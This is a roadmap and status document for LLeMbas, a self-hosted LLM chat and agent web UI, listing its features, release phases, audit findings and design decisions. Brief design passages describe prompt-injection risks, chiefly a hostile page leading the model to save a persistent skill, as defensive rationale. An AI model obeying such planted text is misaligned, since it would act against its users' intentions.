the same text, for people who never install it.
- [ ] Press Update. The service restarts and comes back.
- [ ] Re-run `install.sh`. The channel does **not** move on its own. *(0.9.12.)*
- [ ] `sudo ls -l /usr/local/lib/lembas/update.sh` — owned by root. If systemd's
`ExecStart` still points inside the checkout, the helper is on the old
wiring and the script says so loudly when it runs.
- [ ] A fresh install into a container, from nothing, following the README only.
---
## What the suite already covers, so you do not have to
Not a suggestion to skip it — a note on where the machine has already looked, so
your time goes where it cannot.
- Every tool's gating, and that a chat can only narrow what it was granted
- The four agent modes against a real SSH server, and the approval loop
- Reply steps, metrics, compaction, queueing and rewind
- The schema upgrade, with rows, from an 0.8.1-shaped database
- Every library route at the HTTP boundary: ownership, sharing, deletes
- The SSRF guard on every outbound path
- The whole suite on Python 3.11, 3.12 and 3.14
Roadmap.md
+746
@@ -0,0 +1,746 @@
# LLeMbas — plan and status
Where the project is, what is deliberately not built yet, and the decisions
that would be expensive to revisit. Kept current as work lands; the detail of
*how* things work lives in [Working-notes](Working-notes).
**Status:** released. **1.0.0.** Streaming chat, attachments, reasoning, tool
calling with web search, custom HTTP tools and MCP servers, agent chats that
work on a machine over SSH, helpers a reply can delegate to, a knowledge library
with keyword and semantic search, notes, memory and skills, speech in and out,
image generation over ComfyUI, users, groups, quotas and sharing, model
administration, branding, installable as an app, reports, messages, scheduled
work that runs on its own, web push, and updating from the web interface.
2283 tests on Python 3.11, 3.12 and 3.14; `ruff` clean.
How it got there is written out below, in phases,
under [The road to 1.0.0](#the-road-to-100).
---
## The shape of it
A self-hosted web UI for OpenAI-compatible endpoints, written in Python, themed
after Middle-earth.
| | |
|---|---|
| Stack | FastAPI + Jinja + htmx + a little Alpine |
| Build step | none — no Node, no npm, no CDN at runtime |
| Database | SQLite, schema synchronised additively at startup |
| Deployment | systemd unit + nginx vhost, one worker |
These are load-bearing. Dropping the no-build rule or moving off SQLite would
be a different project, not a refactor.
---
## Done
### Chat
- [x] Streaming replies over server-sent events
- [x] **Markdown renders progressively** — re-rendered whole every 100ms rather
than appending tokens, because a list or code fence is only correct once
its context exists
- [x] Syntax highlighting (Pygments), sanitised with nh3
- [x] **Generation runs in the background** — a task, not the request. Navigate
away, open another chat, close the tab: the reply keeps being written and
reattaching replays the whole state
- [x] **Stop** — the send button becomes Stop while writing; what arrived is kept
- [x] **Rewind** — edit one of your own turns and the conversation runs on from
there. Truncates rather than branching
- [x] **Chat titles that fit the chat** — an ordinary chat is named by a model
from the first exchange, an agent chat from its opening words alone, which
are already an objective. Renameable from the heading and from the sidebar
row; one response updates both
- [x] Chats created on first message, so an abandoned composer leaves nothing
- [x] **You are told when something arrives** — a dot and a toast for a reply,
a report or a scheduled run; a count in the tab title while you are
looking elsewhere; and a browser notification, opt-in per device, that
reaches you with LLeMbas closed
- [x] **A reply that started without you asking still arrives** — the open chat
page polls for turns it has not got, so a background job waking the model
appears where you are looking instead of only after a reload. Quiet while
a reply is streaming, since that reply delivers its own bubbles
- [x] **A turn nobody typed says so** — a background job's completion is a user
turn on the wire, because the request needs one, and a machine event in
the transcript: its own icon and name, no pencil, and no claim that you
sent it
- [x] **Folders that carry something** — arbitrarily nested, with a name, a
description, a system prompt inherited by the chats inside them, and seeds
for the model, the kind and the agent target. Deleting one keeps the chats
- [x] **The sidebar splits Chat and Agent** — a switch below the pinned models,
stored on the account, filtering the folder tree as well as the loose
chats
- [x] **A reply reads as the sequence it was** — thinking, prose, a tool call,
more prose, in the order they happened, rather than three stacked zones
with every tool block in the middle. Marks on the row index the three
stores; a reply written before them renders exactly as it always did
- [x] **Blocks open while the reply is still being written** — the ids are
stable across every swap and across the final one, and opening a block
stops the thread chasing the bottom until you scroll back down
- [x] Per-reply metrics — tokens, context used as a percentage, tokens/second,
live while streaming and kept afterwards. Estimated with a `~` when the
endpoint reports no usage. Two chips: what the reply **cost** and what the
conversation now **occupies**, each labelled, both moving between one
usage block and the next rather than once a round
- [x] Compaction — a button, and automatically at a configurable percentage of
the model's context. Summarised turns are kept and collapsed, not deleted
- [x] Temporary chats — never listed, swept after a day, with a Keep button
- [x] An admin-only request inspector beside the thread
- [x] **Canvas** — a third side panel holding open files, in tabs. Project files
over SFTP in an agent chat; notes, skills, knowledge documents, this
chat's text attachments and its own scratch document everywhere. Read with
syntax highlighting, edited in a plain textarea, saved with a conflict
check. Files the model touches open themselves, without taking the screen
### Tools
- [x] **Tool calling** — one reply is a bounded loop of requests, not one
request. Text produced before a call is kept
- [x] **Web search** as the first tool: DuckDuckGo (no setup), SearXNG or
Firecrawl, chosen in the admin area
- [x] Only offered to models flagged `tools`, because an endpoint without
support rejects the whole request rather than ignoring the array
- [x] Sources stay in the transcript; results are **not** replayed as context on
the next turn, for the same reasons reasoning is not
- [x] A round's calls run together, and the reply says which tool is running —
a remote tool taking seconds with nothing streaming looks like a hang
- [x] **A reply can stop and ask you something** — one or more questions on one
card, with answers to pick from and a box to write your own, answered
together. The same mechanism carries command approvals
- [x] **Custom HTTP tools** — an administrator describes one call: a JSON Schema,
a URL template, headers, an encrypted secret and how to read the answer.
Arguments may fill a hole but never move the target: the scheme and host
are literal, values are escaped for where they land, and the origin is
pinned afterwards
- [x] **MCP servers** over streamable HTTP — a hand-written client, so that
`check_url` runs on every hop rather than being bypassed by somebody
else's transport. Tools are discovered and cached by a button, namespaced
per server, and a server's own descriptions are bounded before they reach
a model as instructions
- [x] Both gated like the built-ins — a model capability, a permission — and
restrictable to groups, with guidance of their own on `/admin/prompts`
- [x] Local MCP over stdio is deliberately absent: spawning a subprocess would
run on this machine, which nothing here does
### Image generation
- [x] **Draws on a ComfyUI you are running**, as a tool the model chooses to
call and as an `/image` command that makes it call one. Never on this
machine, the same rule agent chats follow
- [x] **Multiple workflow templates** — a name, a description and a ComfyUI API
export with `{{prompt}}` and ten other placeholders where the values go.
The model picks between them by their descriptions, and by checkpoint,
falling back to the chat's usual and then the instance default when it
names neither
- [x] Model may set prompt, negative, seed, steps, cfg, width, height, sampler,
scheduler, denoise, checkpoint and template; **only the prompt is
required** and everything else has a default
- [x] **The result is checked before you see it** — optionally, a vision model
is shown the picture and the request and says keep or retry, up to a
configurable number of attempts. Only clearly wrong images are retried;
the last attempt is kept whatever it says, so a request always produces
something
- [x] **Preserve VRAM** — opt-in, for a machine that cannot hold both at once:
unload the chat's own language model, generate, free ComfyUI, and let the
next request load the model back. Per connection, so a box on the network
is never touched
- [x] Instance-wide extra instructions, injected into the harness beside the
tool's own guidance
- [x] **Failures say what actually happened** — out of memory, cancelled, or a
node that raised, read out of ComfyUI's own record within a second rather
than waiting out the timeout. A memory failure tells the model to retry at
a named smaller size or a lighter checkpoint; a cancelled one tells it not
to start again
- [x] Every parameter described by what it does to the picture and when to move
it, because a model given "cfg: default 8" sends the prompt alone.
[Image-generation-instructions](Image-generation-instructions) is a longer set to paste into the
admin instructions box
### Agent chats
- [x] A chat is a **Chat** or an **Agent**, chosen when it starts and fixed
thereafter — a transcript whose earlier turns ran somewhere else is not
one conversation. Knowledge, memories and skills are shared across both
- [x] **Nothing runs on the LLeMbas host.** Commands go to a machine reached
over SSH, so containment is somebody's considered choice of host — a
container built for the job — rather than a sandbox built here. A local
one was designed in detail and dropped; see [Working-notes](Working-notes) for why
- [x] **SSH connections are user-owned**, like notes. An administrator decides
only whether the feature exists at all
- [x] Trust on first use, made explicit: adding a host does not connect to it,
**Check** shows its fingerprint with nothing sent, and only accepting
pins it. A host that later answers with a different key is refused
- [x] Four modes as a table over what each tool does to the world —
**Manual** asks about everything, **Edit** writes freely but asks before
commands, **Auto** asks about nothing, **Plan** reads freely and changes
nothing. Switchable at any time; read once per reply
- [x] Enforced in the generation loop, not in the prompt: a rule a model is
merely told is one a poisoned file can argue with
- [x] A deny list beats **Auto** for any command it can match; an allow list
cannot be matched at all by a command containing anything that joins two
commands together. A deny pattern cannot either — so in Auto a compound
line runs, which is the trade for Auto not asking about `cd build && make`.
See [Working-notes](Working-notes); matching each segment would restore both and is not built
- [x] **The terminal and the canvas open before the chat exists** — on the
new-chat screen, against the connection and directory being chosen there,
and both re-point when that changes. The shell you opened and the files
you left open are adopted into the chat when you send the first prompt
- [x] **Background jobs are visible** — a chip in the composer row counting what
is still running, and a panel with each job's command, state, log tail,
how long it took and a Stop button. The dot is coloured by outcome rather
than by status, since `done` covers exit 0 and exit 2 alike. Survives a
restart, because the job does
- [x] `shell_run`, `file_read`, `file_write`, `file_list` — files over SFTP,
never through a shell, because the SSH exec protocol has no argv form
- [x] **Plan mode ends with a plan** you can carry out with one button, which
switches to Edit and sends it back quoted rather than as an instruction
- [x] Per-reply budgets on steps, wall clock and output, with time spent
waiting for you subtracted
- [x] **A terminal panel** beside the chat, holding a real shell on that chat's
own connection. The modes govern the model; what a person types is theirs,
since they hold the credential and could open the same shell with an ssh
client. The model cannot see the panel — sending it output is a button
- [x] The shell outlives the panel and the page: closing it leaves a build
running, and coming back reattaches with the scrollback. An idle timeout
is what eventually ends one, and so does deleting the chat, or disabling,
moving or deleting the connection
- [x] **The panel is resizable**, dragged from its edge or nudged with the
arrow keys, and the width follows you to another browser
- [x] **It knows where one command ends and the next begins** — bash and zsh
are given the markers VS Code and WezTerm use, so *Copy* and *Send* mean
one command and its output rather than the last forty rows of the screen.
An **Auto** toggle collects each one into the next message. Any other
shell starts exactly as it did before, the buttons fall back to the
screen and say so, and Auto is disabled rather than degraded
- [x] **The project directory is listed for the model** — one read-only
command, `git ls-files` where that works so `.gitignore` is honoured for
free, budgeted so a big directory becomes a count rather than a thousand
filenames on every request
- [x] **A directory is chosen by browsing it** over SFTP, not by typing a path
into an unlabelled box
- [x] The approval mode is chosen **before** the first message, beside the
message box rather than in the header
### The library
- [x] **Knowledge bases** — documents, images and saved web pages, grouped into
named collections and ingested through the same pipeline as chat
attachments, searched with SQLite FTS5
- [x] A chat can be pointed at particular bases, so "answer from the contracts
folder" is a different question from "answer from everything I have"
- [x] **Notes** — longer things the model writes down and searches later;
editable by hand, because they are yours
- [x] **Memory** — short facts, injected on every turn to a budget rather than
searched, and managed in your settings
- [x] **Skills** — saved procedures. Only the name and description are injected;
the body is fetched when the model decides it applies
- [x] A model may write and revise its own notes, memories and skills. Every
skill revision is kept, attributed and revertible — the safety story is a
record and a way back, not a gate
- [x] **Sharing** — a knowledge base, a note or a skill can be shared with a
group or with named people, read-only. One visibility rule, and
administrators do not bypass it. Documents are shared through their base
- [x] **The harness** — an operational prompt assembled from what a model
actually has, so the tools get used rather than ignored
- [x] Attach menu: file, image, a web page fetched on the spot, or a document
from the library
- [x] **`@` to name one** — the library everywhere, and files in the project
directory in an agent chat. The reference stays in the sentence and the
contents come along, with the path and the machine, so the model knows
exactly which file it was handed
### Scheduling
- [x] **Schedules** — work that runs because time passed rather than because
somebody asked just now. Fire once or repeat; a fixed number of runs or
until stopped; a timer ("every ten minutes") or a calendar ("every Monday
at 3PM"), and the two compose into "every other Monday"
- [x] **Wall-clock and elapsed time are kept apart**, because they mean
different things: a calendar time stays 15:00 across a daylight-saving
change, while a six-hourly timer stays six hours. A time that does not
exist on a spring-forward day fires at the first minute that does
- [x] **Per-user timezone**, so "every Monday" means the reader's Monday. The
harness tells them their own time now, not the server's
- [x] **Scheduled** — one chat per task, replied into each time it comes round.
No composer: run it now, pause it, edit it, remove it
- [x] A missed run **catches up once** and then resumes. A week of downtime owes
one report, not a hundred and sixty-eight
- [x] Claim before firing, so a run that fails moves the schedule on rather than
retrying every tick for ever; and "Run now" deliberately does *not* consume
the run it was testing
- [x] **Say it in your own words** — a model turns "every Monday morning, check
the build" into a recurrence and an instruction that reads on its own,
and shows it back for approval before anything is saved. Anything it
cannot work out lands in the same form, filled in as far as it got
- [x] A scheduled run knows nobody is watching: `ask_user` is **withdrawn**, not
merely discouraged, because a question with no one to answer it holds the
reply until it times out
### Messages
- [x] **Messages** — one conversation per person that is meant to run for
years. It opens on the most recent turns and pages older ones in as you
scroll up
- [x] **Bounded in the request, unbounded on disk.** Only the latest chunk is
sent to the model; everything else stays exactly where it was written.
Nothing is folded into text and nothing is deleted
- [x] Anything scheduled can post here, and the schedules that do are listed
beside the conversation rather than two pages away
### Reports
- [x] **Reports** — a section of its own for finished work: an investigation
written up, an account of what an agent chat changed, whatever a schedule
leaves behind. Filed with `report_write`, searched with FTS5, read on its
own page
- [x] **Nothing here can be replied to**, and that is the section rather than a
restriction on it. No composer, no route that accepts a message, and
nothing on either page that renders the streaming shell — so there is
nothing that could start a generation
- [x] Its own family, permission and capability flag, so a model that keeps
notes need not file reports and a model that files reports need not have
a library at all
### Audio
- [x] **Dictation** — record in the composer, transcribed by any OpenAI-shaped
`/v1/audio/transcriptions` endpoint. The recording never touches disk
- [x] **Read aloud** — any `/v1/audio/speech` endpoint, with the voice list
discovered from the server where it offers one
- [x] Instance defaults in Admin, per-reader overrides in Settings — voice,
speed, dictation language, and whether replies play automatically
### Models and reasoning
- [x] OpenAI-compatible connections with encrypted keys and model discovery
- [x] **Reasoning display** — `reasoning_content` and inline `<think>` tags,
collapsed by default, labelled with how long it took, never replayed as
context
- [x] Model admin as a list plus a page per model; scales to hundreds
- [x] Ordering, pinning (a sidebar shortcut, *not* a reordering), instance
default, per-user default, images, capability flags
- [x] Custom model picker showing avatars, descriptions and capabilities
### Attachments
- [x] Drag, paste or pick images, PDFs and text files
- [x] Images downscaled and sent to vision models as content parts
- [x] PDF and text extracted at upload and placed in the prompt
- [x] Type decided by inspecting bytes, random names on disk, non-images served
as downloads with `nosniff`
- [x] No OCR: a scanned PDF says so rather than silently contributing nothing
### People
- [x] Accounts, argon2, revocable server-side sessions, self-service password
change
- [x] Users and groups with permissions that **union** rather than override
- [x] Model access restricted to chosen groups
- [x] Registration toggle, instance settings stored in the database
### Prompts
- [x] Three layers — instance, model, chat — with the most specific winning
**outright** rather than being concatenated
- [x] Every injected fragment editable at `/admin/prompts`: the tool guidance,
the memory and skill sections, the seam above the authored prompt, and the
request that names a chat
- [x] `{{variables}}` with a legend, values shown as they currently resolve, and
pass-through for anything that is not one
- [x] A preview of the whole assembled system message, including unsaved edits
- [x] Defaults in code and overrides in the database, so improving a default
still reaches an instance that never edited it
### Suggestions
- [x] Admin-managed cards on the new-chat screen; three seeded once at startup
### Interface
- [x] **`/` for commands** — compact, usage, mode, model, title, the panels,
the theme. Anything not in the table is sent as an ordinary message, and
`//` starts one with a literal slash
- [x] **Keyboard shortcuts** for the same jobs, listed beside the commands in
one table so `/help` cannot go stale
- [x] Mentions and recognised commands are marked as you type, and again in the
transcript, so you can see what a message will do before sending it
- [x] **Reasoning effort** per chat, with a per-model default. Sent as both
`reasoning_effort` and `chat_template_kwargs`, and only once chosen:
OpenAI and vLLM read the first, llama.cpp silently drops it and reads
only the second
- [x] **Installable** — manifest, generated PWA icons, a service worker for the
shell and a themed offline page. The worker deliberately never touches
`/api/`: a reply is an event stream and caching one breaks it
- [x] Two themes (`moria`, `shire`) from one set of design tokens
- [x] Every control sized from `--control-h`, so rows line up by construction
- [x] Toasts and dialogs of our own; no `window.confirm` anywhere, and
`data-prompt` for asking one line before a request goes out
- [x] **An approval card's command can be corrected** before it is allowed, and
the transcript says who wrote what ran
- [x] **Refusing can say why** — "Give reason" opens a box beside Don't, and what
you write goes back as the instruction rather than as a rejection, so the
model carries on from it instead of spending a round asking what you meant
- [x] Original SVG artwork generated from a single source
### Operations
- [x] Additive schema sync — new tables and columns applied at startup
- [x] `deploy/` — systemd unit and nginx templates, install and update scripts
---
## The road to 1.0.0
What is left is not another large feature. It is four kinds of work: gaps that
read as bugs, features still owed, two structural jobs, and making this
installable and updatable by somebody who is not its author.
Each phase ends the same way, and that is a requirement rather than a habit:
tests green, `ruff` clean, `__version__` bumped (the service worker cache is
keyed on it, so a release without a bump serves stale JavaScript), committed,
pushed, and `deploy/update.sh` run — so the next phase starts from something
seen working.
### Phase 0 — the known bugs, and the CSS (`0.8.x`)
- [ ] **One version, one homepage.** `pyproject.toml` reads `__version__`
instead of carrying its own copy of it, which had drifted three minors
- [ ] **Canvas and Terminal appear only where they can work.** `hx-get=""` is an
attribute htmx *finds*, so an empty one fetches the current document and
swaps the whole site into the canvas panel. The buttons follow the
composer's kind toggle and its connection, which only the browser knows
- [ ] **The two top borders come off.** The sidebar footer and the composer sat
either side of one vertical edge and were held to the same height so their
borders would meet. Content scrolling under an edge that is not drawn is
better than an edge that has to be aligned
- [ ] **One scroll container per screen.** `.tabs` assumes it is a flex child of
`.main`; under the admin layout it is not, so `.tabs__body` never scrolls,
the outer container does, and switching to a shorter panel drops the
reader at the bottom of the page
- [ ] Sidebar scroll no longer chains to the document
- [x] **A connection may not point at this machine** unless an administrator
says so, in one of three positions — never, one named port, or anywhere.
An SSH profile aimed at `127.0.0.1` walked past the sentence the whole
security story rests on, looking from the SSH layer down exactly like a
container on the network
### Phase 1 — the scheduling tools (`0.9.0`)
- [x] **A model can schedule.** There was no tool for it — the seam was left
(`Schedule.origin` has defined `ORIGIN_MODEL` with no writer since
scheduling landed) and the tool was never built, so a model asked to
"remind me every Monday" wrote a note and said it had. `schedule_create`,
`schedule_list`, `schedule_update` and `schedule_cancel` over the same
`rule.validate` the form and the compile already share
- [x] **The reply says the timing back in words.** A schedule is invisible until
it fires, so `rule.describe` in the answer is the only moment anybody can
check that Monday was read as Monday
- [x] The Scheduled list badges the ones nobody typed
- [x] Guidance saying which target a run should reach, and that anything which
happens later or repeatedly is a schedule rather than a note — said in
`tool.notes` and `tool.memory` as well, because those are what the model
actually reached for
### Notifications (`0.9.1`)
- [x] **Everything that arrives is announced**, not only chat replies. The dots
covered Reports and Messages; the announcement did not, so a scheduled run
lit a dot in a corner and said nothing
- [x] **A count in the tab title** while you are looking elsewhere, cleared when
you come back
- [x] **Web push**, so a schedule firing at seven in the morning reaches a
browser that is shut. Hand-rolled against RFC 8291 and 8292 with the
`cryptography` already here. Opt-in per device, asked for once in a dialog
of ours before the browser's own — and the one thing in LLeMbas that
contacts an outside service, which `services/push.py` says plainly
- [x] One arrival never announced three times: the service worker stays quiet
when a window of its own has focus
### Phase 2 — image generation admin (`0.9.2`)
- [x] **Defaults an administrator can set** — steps, cfg, size, sampler,
scheduler, denoise, negative, checkpoint, batch. There were none: one
hardcoded set from the SD1.5 era, and prose in a box as the only way to
change it. An empty box means "no opinion" and falls through, so a floor
improved in code still reaches everyone
- [x] The right control for each: samplers and schedulers as selects, from the
lists ComfyUI has been discovering and nothing has been reading;
checkpoints picked rather than typed; sizes as numbers with presets
- [x] **`batch` at last** — `batch_size` was a literal `1` in the template.
Deliberately not something a model may set
- [x] **The tool's schema restates the defaults it quotes**, or it goes on
telling the model "Default 512" beside an instance that draws at 1024
- [x] A legend on the workflow editor saying what each placeholder fills, what
it lands as, and what it resolves to right now
### Phase 3 — subagents (`0.9.3`)
- [x] **A model can delegate.** `subagent_run` hands one self-contained piece of
work to a helper carrying the parent's connection, directory, model and
effort, and gives its answer back as the tool result. Built on the
mechanism scheduled runs already use, so it gets tools, rounds, budgets,
metrics and steps rather than a second loop
- [x] **Safe by resolution, not by instruction** — no `ask_user`, no recursion,
nothing that writes unless the call asked and the parent's mode allowed
it, and commands only from a fixed read-only list in every mode including
Auto, because the task text can have come from a page the parent read
- [x] **An unattended chat refuses instead of waiting.** Withdrawing `ask_user`
was only half: an approval still built a card nobody could see and parked
the reply for fifteen minutes, which from every screen is the feature not
working. The same flag now covers a scheduled task's chat, which had the
same hole
- [x] Its own bounds — per reply on the parent's `Generation`, instance-wide in
a set, and per helper in settings of its own, so one runs out of room long
before the reply that asked does
- [x] Guidance for the two uses that differ: fanning out across a research
question, and reading a codebase — plus what a helper reads about being
one
### Phase 4 — rebranding and customization (`0.9.4`)
- [x] **An instance can be somebody else's.** Name, tagline, logo, favicon and
launcher icons derived from the logo, and the Middle-earth strings as
editable data — defaults in code and overrides in the database, so a later
release still improves the wording nobody changed. Blanked rather than
dropped, because the settings store merges and a dropped key means "leave
what was there"
- [x] **One snapshot, reached from everywhere.** A Jinja global over a
process-level cache, because `render()` has no session and four render
paths never reach it — the sign-in page, the error pages, the offline page
and the SSE fragments
- [x] **A custom theme is a set of tokens**, not a stylesheet, and inherits its
base through `data-base` — one selector added to `tokens.css` is what makes
a custom *light* theme land on parchment rather than on near-black
- [x] The theme list stops being a hard-coded pair in five places
- [x] Global CSS overrides, served as `/branding.css` — a route rather than an
inline block, so an administrator's CSS has no markup to escape from, with
a content hash in the link so a save is not left to the browser's cache
### Phase 5 — extraction, embeddings and hybrid search (`0.9.5`)
- [x] **Extraction has settings** — upload size, image edge, JPEG quality, PDF
pages, extracted characters, orphan age, extra text extensions. Read
through a process-level snapshot, because `prepare` is called from places
with no session. The decompression-bomb guard stays a constant: it is a
guard, not a preference
- [x] **A dedicated embedding model**, picked from the models flagged for it —
and a model that lost its flag is *named* rather than silently dropped
from the picker
- [x] **Search becomes hybrid** — FTS5 and vector recall fused by reciprocal
rank fusion, behind the one call the stores already searched through.
Ranks rather than scores, because bm25 and cosine are not comparable and
normalising them means picking a constant nobody can tune
- [x] **No model chosen means exactly the keyword search there is today** — no
rows, no requests, the same ids in the same order, asserted rather than
claimed
- [x] Indexing is fired and forgotten and noticed by a session event, so no
writer has to remember it — forgetting would be silent, since only
semantic recall would go stale
- [x] Vectors from two models never meet: width and model are stored beside
every vector and a mismatch is skipped, because scoring across two spaces
is a confident wrong answer rather than a missing one
- [x] A rebuild that commits as it goes, reports itself, and stops polling when
it finishes
### Phase 6 — permissions, quotas and sharing (`0.9.6`)
- [x] **"What can this user actually do?"** answered on screen, and *where each
permission came from* — `explain()` is the resolution's working shown
rather than thrown away, which is the simulation the union rule exists to
make unnecessary
- [x] List plus detail for users and groups; membership edited from **one** side,
since a full-form POST from either used to overwrite the other's view
- [x] Reading and writing split for the three gates where the difference is a
real decision — checked on the tool's risk, after the gate, defaulting on
- [x] **Quotas on a group**, resolved by maximum with **zero meaning no limit
and winning outright**, and enforced at the five places each is knowable:
before a reply is built, before a second one starts, on an agent reply's
clock, before a minute of GPU, and beside the helper cap
- [x] Usage recorded even for a reply that was stopped or failed, because an
endpoint charges either way and a quota a Stop button walks past is not one
- [x] **Deleting a group or a user forgets its grants, which it never did** —
both halves for an account, since their rows cascade and the shares of
those rows have nothing to cascade from
- [x] Sharing as its own action with a search box — one grant per request, stored
the moment it is made rather than when the resource happens to be saved
- [x] A "Shared with me" filter in all four listings, reports shareable, and
`library.share` on by default. Sharing stays read-only
### Phase 7 — packaging and updating (`0.9.7`)
- [x] **Docker**, one stage, non-root, data on a volume — and baking neither a
secret key nor a database nor `.git`, so a container correctly reports
that it was not installed from a checkout. TLS in front is a constraint
rather than a recommendation: the service worker and the microphone both
require HTTPS or localhost
- [x] **An LXC bootstrap** that creates an unprivileged container and runs the
existing installer inside it — a wrapper, not a second install path
- [x] **Updating without a shell**, and by **channel** rather than by commit:
`stable` follows release tags and `edge` the branch tip, because a branch
tip is not a release. `git describe` for what is running, notes out of the
annotated tag, and the commits between. Checking reaches the remote;
opening the page does not. Git plumbing throughout and never a forge API —
no token on the deployment host, no forge lock-in, and the one this was
checked against 500s on that endpoint
- [x] **The button writes a file and an opt-in systemd unit does the work.** The
service runs unprivileged and cannot restart itself, and the request
carries no branch and no ref — so pressing it is always "deploy the branch
this host was configured with" and never "deploy something else". Without
the helper the page says so and prints the manual command
- [x] `/healthz`, which opens the database rather than only proving the socket
is listening, and says nothing about what is here
### Phase 8 — the audit, in five passes (`0.9.9` … `0.9.13`)
Five passes rather than one, each ending in a deploy. What each found is in
`CHANGELOG.md`; the shape of it is worth keeping here.
- [x] **The main logic and the harness** (`0.9.9`). Every model was being told
the time in a zone with no name; the prompt preview could not show two
thirds of what it previews; Plan mode was told to use a tool Plan mode
withdraws; reading one knowledge document could fill the whole window
- [x] **Functional bugs and unreachable features** (`0.9.10`). The four control
sweeps came back **clean** — 68 htmx verbs against 179 routes, zero
mismatches. What they found instead was one level up: folder nesting fully
built, documented in the README, and reachable by nothing; deleting a chat
leaving every file it held on disk
- [x] **Security** (`0.9.11`, `0.9.12`). Six findings. A helper could write files
and run programs unattended in a mode that promises to change nothing; an
SSH connection could be pointed at `0.0.0.0` and reach this host; **two
root escalations in the update helper**, one of which meant control of the
branch was control of root
- [x] **Testing** (`0.9.13`). 2140 tests to 2283, and four bugs that reading had
not found — three of them from driving the JavaScript under a DOM stub
- [x] Contrast, measured rather than eyeballed: `--ink-faint` failed the 4.5:1
minimum in **both** themes
- [x] Documentation, and [Release-checklist](Release-checklist) for the half a
machine cannot test
### Phase 9 — 1.0.0
- [x] A commit that changes the version, `CHANGELOG.md`, this file and the
README, and nothing else
- [x] A **signed annotated tag** whose message is the 1.0.0 changelog entry.
Not decoration: `/admin/updates` reads release notes out of the tag
object, so the tag message is what an administrator sees on that page
- [x] The deployment moves to the `stable` channel, which has something to
follow for the first time
---
## After 1.0.0
Features:
- **OCR** for scanned PDFs
- **Conversation branching** — `Message.parent_id` exists unused; needs a UI for
choosing between versions, which is why rewind truncates for now
- **Chat export** (Markdown, JSON)
- **Archived chats** — the column exists, nothing surfaces it
- **Several workers** — see the first known limit below
- **Writable shares**, which need history and a merge story before they need a
column
Carried out of the 1.0.0 audit, deliberately. Each is real; each would change
what something *does* rather than fix what it claims to do, which is why none of
them landed in an audit:
- **A read-only helper is still told about tools it does not have.**
`resolve_tools` filters per tool and `harness._families` gates per family, so
a family survives on its readers while its writers are gone — and seven
fragments name fifteen withdrawn write tools. The principled fix is the split
`tool.skills` / `tool.skills_write` already demonstrates, applied to `notes`,
`report`, `schedule` and `agent_edits`. That is a prompt restructure. The cost
today is bounded: `{{tool_names}}` is authoritative and the model has it, so a
helper wastes at most one round finding out.
- **`tool.background` promises a notification that can be switched off.** It has
no `requires` for `agents.background_notify`, while the runner branches on
exactly that flag. One fragment, two behaviours. Same shape as the split above.
- **`ask_user` has no harness fragment**, alone among the families. All of its
guidance lives in its schema description, which is the one thing an
administrator cannot edit.
- **`Connection.extra_headers_json` is read on every request and written by no
form**, so its documented use — OpenRouter's `HTTP-Referer` — is unreachable.
Nothing advertises it, so nothing is currently untrue.
- **Four columns are written and never read**: `Chat.compacted_at`,
`User.last_login_at`, `Schedule.last_fire_at`, `Schedule.compiled_at`. Each is
bookkeeping somebody may want to surface; none is load-bearing.
- **Dependency floor.** `pyproject.toml` pins no upper bounds and
`deploy/update.sh` runs `pip install -e` on every update, so a breaking
upstream release arrives on a button press. pip's `only-if-needed` default
limits the blast radius, which is why this is a note rather than an emergency.
- **`deploy/lxc-install.sh` has never been executed.** There is no Proxmox host
here. It is reviewed and syntax-checked; that is not the same claim.
---
## Known limits
Worth knowing before they surprise someone.
**One worker.** The generation registry and the stop mechanism are in-process.
Running several workers needs that state in the database or a broker, because
the request following a reply would not necessarily land in the process writing
it.
The schedule ticker is now the strongest reason this is not merely a
convenience. It is in-process like the rest, so **two workers means two tickers
and every schedule firing twice**. The claim that prevents a double-fire is a
Python lock plus a write committed in the same transaction, not `SELECT ... FOR
UPDATE`, which SQLite does not have. Scheduling also makes downtime visible in a
way nothing else here does: a dropped reply is one somebody watched fail, while
a missed run is one nobody saw at all — which is what the catch-up in the sweep
is for, and why it lives there rather than in a startup hook (a suspended host
or a long stall reproduces it with no restart to hang one on).
**A restart abandons replies in flight.** Shutdown cancels them and keeps what
each had. There is no resume.
**Schema changes are additive only.** New tables and columns apply themselves;
renames, drops and retypes are manual against the SQLite file. `MANUAL_STEPS`
in `db/migrations.py` is where such a step gets recorded.
**Attachments live on disk, unreferenced files are swept at startup.** No
deduplication, no size quota.
**Unread is polled every 10 seconds.** A push channel would be more responsive
but means an always-on connection per tab for the sake of a green dot.
**Installing needs HTTPS or localhost.** Service workers are unavailable over
plain HTTP, so a LAN install without TLS is a normal browser tab. The
microphone is unavailable for the same reason.
**Tool calling needs a model that supports it.** The `tools` flag is an
administrator's assertion, not something endpoints reliably advertise. Set it on
a model that cannot, and its replies fail rather than degrade.
**Library search is keyword-only until an embedding model is chosen.** FTS5 ranks
well and needs no dependency, but "how do I get paid" will not find a document
that says "invoicing". Choosing a model on **Extraction** adds a vector ranking
fused with that one; choosing none is byte-for-byte the search that was always
there. What that costs is an index that has to be rebuilt when the model changes,
and stale vectors that are ignored until it is.
**A model can write its own skills, and they take effect at once.** Marked as
model-authored and fully revertible, but a model that has just read a hostile
page could save a skill that outlives the conversation. The mitigation is that
it is visible and undoable, not that it was prevented.
---
## Deliberate decisions
Recorded because each looks like an oversight until you know the reason.
- **No JavaScript build step.** Browser libraries are hash-pinned and committed.
A self-hosted tool should work offline and not report page views to a CDN.
- **Permissions union, never deny**, and quotas resolved by maximum for the same
reason -- with the corner that zero means *no limit* and therefore wins, or
"unlimited" would count for less than a large number. With denies, "why can
this user not do X"
cannot be answered without simulating every group.
- **System prompts replace, never stack.** Two layers that disagree give the
model contradictory instructions and nobody can tell which is losing.
- **Rewind truncates, does not branch.** Branching needs a UI for choosing
between versions; "go back and try again from here" is what was asked for.
- **Pinning is a shortcut, not an ordering.** A picker whose order silently
differs from the admin screen is confusing.
- **Images only reach models marked `vision`.** Not graceful degradation: most
endpoints reject the entire request rather than ignoring an image part. Tools
are gated the same way, for the same reason.
- **Sharing grants reading, never writing.** Two people editing one note with no
history and no merge is worse than the inconvenience of copying it.
- **Memory is never shareable.** A record about a person is not content to hand
round.
- **Knowledge attached to a message is copied, not referenced.** History must not
change under a conversation because a document was edited later.
- **The harness is prepended to the authored prompt, not a fourth layer.** It
describes the machinery; the authored layers describe the behaviour. Only one
authored layer still wins.
- **Tool results are not replayed.** Like reasoning: the answer already contains
what the model made of them, and replaying stale results into every later
request wastes the window and sends small models into search loops.
- **The service worker caches the shell, never a page with a user in it.** A
